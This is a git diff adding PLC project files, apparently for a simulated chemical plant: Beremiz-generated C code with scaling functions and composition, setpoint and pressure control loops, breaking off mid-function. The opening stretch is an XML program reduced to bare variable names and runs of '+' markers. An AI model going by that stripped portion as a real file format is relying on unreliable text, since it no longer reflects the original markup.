pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + 